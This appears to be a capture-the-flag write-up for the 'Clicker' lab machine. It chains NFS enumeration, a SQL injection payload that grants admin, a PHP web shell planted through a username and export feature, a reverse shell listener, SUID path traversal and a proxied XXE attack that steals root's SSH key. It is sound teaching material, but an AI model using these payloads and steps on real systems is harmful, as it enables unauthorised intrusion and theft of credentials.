Clicker
Clicker
Clicker
Difficulty: Medium
Synopsis
Clicker is a Medium Linux box featuring a Web Application hosting a clicking game. Enumerating
the box, an attacker is able to mount a public NFS share and retrieve the source code of the
application, revealing an endpoint susceptible to SQL Injection. Exploiting this vulnerability, an
attacker can elevate the privileges of their account and change the username to include malicious
PHP code. Accessing the admin panel, an export feature is abused to create a PHP file including
the modified username, leading to arbitrary code execution on the machine as www-data .
Enumeration reveals an SUID binary that can access files under the home folder of the user
jack . By performing a path traversal attack on the binary, the attacker is able to get the SSH key
of jack , who is allowed to run a monitoring script with arbitrary environment variables with
sudo . The monitoring script expects a response to a curl request in XML format. The attacker,
by setting the http_proxy variable, is able to intercept and alter the response to the script, in
order to include an XXE payload to read the SSH key of the root user. Finally, the attacker is able
to use the SSH key and get access as the root user on the remote machine.
Skills Required
Enumeration
Code review
NFS shares
Skills Learned
SQL Injection
Reverse Engineering
XXE Exploitation
Enumeration
Nmap
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.232 | grep ^[0-9] | cut -d '/' -f 1
| tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.232
The Nmap output gives us a lot of information. Mainly, we can see that Apache, SSH and NFS are
listening on their default ports. Moreover, we notice that we got a hostname from the output. Let's
add it to our /etc/hosts file.
NFS
Let's check what directories are exported over NFS.
showmount -e clicker.htb
We can mount the backups directory and take a look at its contents.
Looking at the contents of the mounted folder, we can see a Zip file. Let's copy it to our box and
extract its contents.
cp /mnt/clicker.htb_backup.zip .
unzip clicker.htb_backup.zip
Archive: clicker.htb_backup.zip
creating: clicker.htb/
inflating: clicker.htb/play.php
inflating: clicker.htb/profile.php
inflating: clicker.htb/authenticate.php
inflating: clicker.htb/create_player.php
inflating: clicker.htb/logout.php
<SNIP>
inflating: clicker.htb/register.php
inflating: clicker.htb/index.php
inflating: clicker.htb/db_utils.php
creating: clicker.htb/exports/
inflating: clicker.htb/export.php
It looks like a backup of a web application. At this point, we remember that there is an Apache
server listening on port 80. Let's visit the website and check if the application running there is the
same as the one we just got the source code for.
Apache - Port 80
Upon visiting http://clicker.htb we are presented with the following webpage.
Looking around the webpage, we find out that we can register a new user:
Once we register a new user and log in, nothing seems to significantly change to our advantage.
It's high time we looked at the source code in order to broaden our attack surface.
Foothold
Code Analysis
After spending some time reviewing the source code and its functionality, we can see a potential
SQL Injection (SQLi) in the save_profile function in the db_utils.php file, that is reachable by
any registered user.
We can trace back the execution of this function and find that it can be triggered in the play.php
page by clicking on the "Save and close" button.
Using BurpSuite to capture the request when we click on the save button, we can see that all the
GET parameters sent to save_game.php are subsequently used to construct the UPDATE query
string in the save_profile function in db_utils.php .
The string is built like clicks = '<clicks>', level = '<level>' where the values of "
<clicks> " and " <level> " are sanitized with PDO::quote and are not vulnerable to SQL injection.
However, we can modify the names of the parameters in order to inject additional columns into
the SET part of the query.
The $setStr variable is constructed as follows:
For example, let's use the following payload in order to modify our role to "Admin". We use the
URL-encoded form of the = sign ( %3d ) to inject a further column/value assignment into the
statement, which will be concatenated into the setStr string.
/save_game.php?clicks%3d4,role%3d'Admin',clicks=4&level=0
Once we login into the application again, we can confirm we have the admin role because the
Administration option appeared.
In the admin page, we can see a table of players with the highest clicks.
By using the Export function, we can see that a POST request is executed with two parameters:
threshold (which is a hidden parameter in the HTML) and extension :
Also, in the response we can see a message that says Data has been saved in
exports/top_players_586n8am4.txt . We can try to access the file from the browser in order to
see the result:
So at this point, we can deduce that threshold is used to determine the necessary points needed
in order to be included in the Top Player table, while extension determines the file extension
of the file that will be created by the export functionality. The application lets you choose 3
different extensions ( txt , html , and json ) but does not check for the given extension in any
way, so we can change it to export .php files by modifying the value in the intercepted request.
/save_game.php?clicks=8&level=0&nickname=<?php+system($_REQUEST['cmd']);?>
Now we can try to use the export function again, this time setting threshold to 0 and extension
to php :
We can confirm the RCE by visiting the generated file and setting the ?cmd=id parameter.
/exports/top_players_586n8am4.php?cmd=id
Indeed, we have code execution on the remote machine. Let's get a reverse shell.
nc -lvnp 9001
Then, we use our malicious PHP file to get a reverse shell using the following payload.
Note: It's more reliable to use BurpSuite to send the URL-Encoded payload.
After sending the payload we get a callback on our listener and have obtained a reverse shell as
the user www-data .
We can use the following chain of commands to get a proper TTY shell.
script -c bash /dev/null
# CTRL + z
stty raw -echo; fg
# Enter twice
Lateral Movement
Now that we have a shell on the box, we can do basic enumeration and search for SUID binaries.
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/fusermount3
/usr/bin/su
<SNIP>
/usr/sbin/mount.nfs
/opt/manage/execute_query
Navigating to the /opt/manage directory, we can see that there is a README.txt file as well in
there with the following contents:
Using strings , we can get some clues about how the executable is operating.
www-data@clicker:/$ cd /opt/manage
www-data@clicker:/opt/manage/$ strings execute_query
<SNIP>
/home/jaH
ck/queriH
/usr/binH
/mysql -H
u clickeH
r_db_useH
r --passH
word='clH
icker_dbH
_passworH
d' clickH
er -v < H
ERROR: not enough arguments
ERROR: Invalid arguments
create.sql
populate.sql
reset_password.sql
clean.sql
File not readable or not found
<SNIP>
It seems like the executable is reading the queries it runs from the home folder of the user jack .
Moreover, there are some error messages related to missing parameters or missing files. Let's
fuzz the executable and try to reach these error messages.
This is because the binary couldn't set the User ID in the strace context. Moreover, we can see
that our assumptions were correct; the binary is indeed reading the queries from files inside the
/home/jack directory.
Let's try to perform a path traversal attack. To do so, let's specify an action that doesn't exist and
then give a second argument for the file to read the query from.
We can save the private key of jack to a file on our machine, use chmod 600 jack to set the
correct permissions, and log in as the user jack using SSH.
jack@clicker:~$ id
uid=1000(jack) gid=1000(jack)
groups=1000(jack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
Privilege Escalation
Let's check if the user jack is able to run any commands using sudo .
jack@clicker:~$ sudo -l
It seems like jack can run the /opt/monitor.sh script as root without any password. Let's
inspect the contents of the file.
#!/bin/bash
if [ "$EUID" -ne 0 ]
then echo "Error, please run as root"
exit
fi
set
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr
/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;
data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?
token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
exit;
else
timestamp=$(/usr/bin/date +%s)
/usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi
The /opt/monitor.sh script first of all checks if the calling user is root . Then, it sets the PATH
variable and unsets PERL5LIB and PERLLIB , as a form of protection. Afterwards, the script
performs a GET request to the /diagnostic.php page of the Clicker web application. This page
returns an XML file containing some diagnostic information, like memory usage. The information
is formatted using xml_pp and shown to the user. Then, if the NOSAVE environment variable is set
to "true", the script stops. Otherwise, the output of the curl command is saved in
/root/diagnostic_files , for future inspection.
<?xml version="1.0"?>
<data>
<timestamp>1705924260</timestamp>
<date>2024/01/22 11:51:00am</date>
<php-version>8.1.2-1ubuntu2.14</php-version>
<test-connection-db>OK</test-connection-db>
<memory-usage>395608</memory-usage>
<environment>
<APACHE_RUN_DIR>/var/run/apache2</APACHE_RUN_DIR>
<SYSTEMD_EXEC_PID>1173</SYSTEMD_EXEC_PID>
<APACHE_PID_FILE>/var/run/apache2/apache2.pid</APACHE_PID_FILE>
<JOURNAL_STREAM>8:26775</JOURNAL_STREAM>
<PATH>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</PATH>
<INVOCATION_ID>76334d7b933945f2bae6f4e03c0de339</INVOCATION_ID>
<APACHE_LOCK_DIR>/var/lock/apache2</APACHE_LOCK_DIR>
<LANG>C</LANG>
<APACHE_RUN_USER>www-data</APACHE_RUN_USER>
<APACHE_RUN_GROUP>www-data</APACHE_RUN_GROUP>
<APACHE_LOG_DIR>/var/log/apache2</APACHE_LOG_DIR>
<PWD>/</PWD>
</environment>
</data>
Since jack can change the environment of root before the execution of the script, we can set
the variable HTTP_PROXY to redirect the request to our machine. Then, we can change the
response of the server using BurpSuite and perform an XXE attack using the following payload,
which reads and displays the root user's private SSH key:
We get a callback on our proxy. We have to make sure that we also intercept the response to this
request, because that is where we can inject our XXE payload.
After we forward the modified request, our payload gets executed and the root key is displayed
on our shell. We can save the root SSH key to a file, use chmod 600 root to set the correct
permissions, and log in as root using SSH.
root@clicker:~# id
uid=0(root) gid=0(root) groups=0(root)
Since the monitor.sh script calls xml_pp , which is a Perl script, the environment variables
PERL5OPT and PERL5DB can still be abused to execute arbitrary commands, in this context, as
root . This allows for the unintended exploitation path via a command such as:
root@clicker:~# id
uid=0(root) gid=0(root) groups=0(root)